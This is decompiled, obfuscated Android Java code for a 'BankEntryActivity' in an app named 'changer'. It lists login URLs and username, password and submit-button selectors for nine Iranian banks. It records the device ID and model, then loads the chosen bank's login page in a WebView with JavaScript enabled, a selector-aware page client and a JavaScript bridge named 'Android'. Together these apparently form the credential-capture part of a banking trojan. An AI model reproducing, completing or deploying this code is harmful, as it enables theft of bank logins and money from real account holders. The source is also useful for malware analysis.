package ir.devixor.app.changer;

import android.os.Build;
import android.os.Bundle;
import android.provider.Settings;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import androidx.appcompat.app.AppCompatActivity;
import java.io.IOException;
import o.AbstractC0658Zj;
import o.AbstractC1903ms;
import o.AbstractC2139pN;
import o.C0088Dk;
import o.C0168Gm;
import o.C0210Ic;
import o.C0236Jc;
import o.C0262Kc;
import o.C2468sq;
import o.C3001yV;
import o.C80;
import o.GN;
import o.Q8;
import org.json.JSONException;
import org.json.JSONObject;

/* compiled from: r8-map-id-3b7cc9102578c509342fa2f0fabed2bfc72239cd258d579fc679bfcbc198b048 */
/* loaded from: classes.dex */
public final class BankEntryActivity extends AppCompatActivity {
    public WebView m;
    public final C0168Gm n;

    /* renamed from: o, reason: collision with root package name */
    public final Object f34o;

    public BankEntryActivity() {
        C2468sq c2468sq = AbstractC1903ms.a;
        this.n = C80.e(AbstractC2139pN.a);
        this.f34o = GN.a0(new C3001yV("melli", new C0210Ic("https://baam.bmi.ir/fa/auth/login", "input[formcontrolname='username']", "input[formcontrolname='password']", "button.mat-mdc-unelevated-button", "bmi_login")), new C3001yV("refah", new C0210Ic("https://www.rb24.ir/login.html", "input#j_username", "input#j_password", "button#submitFormBtn", "refah_login")), new C3001yV("keshavarzi", new C0210Ic("https://ib.bki.ir/pid2.lmx", "input#UserId", "input#Password", "input#btnOk", "bki_login")), new C3001yV("mellat", new C0210Ic("https://ebanking.bankmellat.ir/ebanking/#/", "input#UserNameBox", "input#PasswordBox", "div#login-bt", "mellat_login")), new C3001yV("saderat", new C0210Ic("https://ib.bsi.ir/public-page.ib", "input#userID", "input#password", "input#login", "bsi_login")), new C3001yV("sepah", new C0210Ic("https://ib.banksepah.ir/netway/pwa/index", "input[name^='tsn-input-']", "input[name^='tsn-password-']", "button#form-btn-0", "sepah_login")), new C3001yV("wepod", new C0210Ic("https://web.wepod.ir/signup/mobile", "input#authIdentity-inp", "input#authPassword-inp", "button#authLoginBtn", "wepod_login")), new C3001yV("pasargad", new C0210Ic("https://oauth.bpi.ir/Account/LoginProcess?redirectUri=h&subsystem=MobileBank&clientId=VirtualBanking_MB", "input#Username", "input#Password", "input#btnLoginProcess", "pasargad_login")), new C3001yV("tejarat", new C0210Ic("https://ib.tejaratbank.ir/web/ns/login_m?execution=e1s1", "input[id$='userName_input']", "input[id$='password']", "button[id$='4efc8cfd']", "tejarat_login")));
    }

    /* JADX WARN: Type inference failed for: r0v5, types: [java.lang.Object, java.util.Map] */
    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public final void onCreate(Bundle bundle) throws JSONException, IOException {
        super.onCreate(bundle);
        String stringExtra = getIntent().getStringExtra("bank");
        if (stringExtra == null) {
            stringExtra = "sepah";
        }
        String string = Settings.Secure.getString(getContentResolver(), "android_id");
        String str = Build.MANUFACTURER + " " + Build.MODEL;
        JSONObject jSONObject = Q8.a;
        Q8.a(this, string, str);
        if (stringExtra.equals("sepah")) {
            C0088Dk c0088Dk = new C0088Dk(this);
            c0088Dk.setContent(AbstractC0658Zj.a);
            setContentView(c0088Dk);
            return;
        }
        if (stringExtra.equals("blu")) {
            C0088Dk c0088Dk2 = new C0088Dk(this);
            c0088Dk2.setContent(AbstractC0658Zj.b);
            setContentView(c0088Dk2);
            return;
        }
        C0210Ic c0210Ic = (C0210Ic) this.f34o.get(stringExtra);
        if (c0210Ic == null) {
            throw new IllegalStateException(("Bank '" + stringExtra + "' not supported in bankList").toString());
        }
        WebView webView = new WebView(this);
        this.m = webView;
        setContentView(webView);
        WebView webView2 = this.m;
        if (webView2 == null) {
            webView2 = null;
        }
        webView2.getSettings().setJavaScriptEnabled(true);
        WebView webView3 = this.m;
        if (webView3 == null) {
            webView3 = null;
        }
        webView3.getSettings().setDomStorageEnabled(true);
        WebView webView4 = this.m;
        if (webView4 == null) {
            webView4 = null;
        }
        webView4.setWebChromeClient(new WebChromeClient());
        WebView webView5 = this.m;
        if (webView5 == null) {
            webView5 = null;
        }
        webView5.setWebViewClient(new C0262Kc(stringExtra, c0210Ic));
        WebView webView6 = this.m;
        if (webView6 == null) {
            webView6 = null;
        }
        webView6.addJavascriptInterface(new C0236Jc(this, c0210Ic.e), "Android");
        WebView webView7 = this.m;
        (webView7 != null ? webView7 : null).loadUrl(c0210Ic.a);
    }
}
